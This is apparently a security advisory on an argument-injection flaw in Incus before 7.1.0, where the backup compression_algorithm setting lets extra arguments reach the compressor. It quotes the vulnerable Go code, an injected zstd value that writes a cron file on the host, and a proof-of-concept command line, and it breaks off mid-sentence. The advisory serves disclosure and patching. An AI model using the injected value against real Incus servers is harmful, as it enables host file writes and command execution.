Affected: lxc incus

Incus is a system container and virtual machine manager. Prior to version 7.1.0, improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. Version 7.1.0 patches the issue.

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

### Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

### Details

Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist:

```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) ```

Extra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor:

```go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile ```

With a value like:

```text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ```

the daemon executes the equivalent of:

```text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ```

### PoC

``` python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file ```

The following was generat…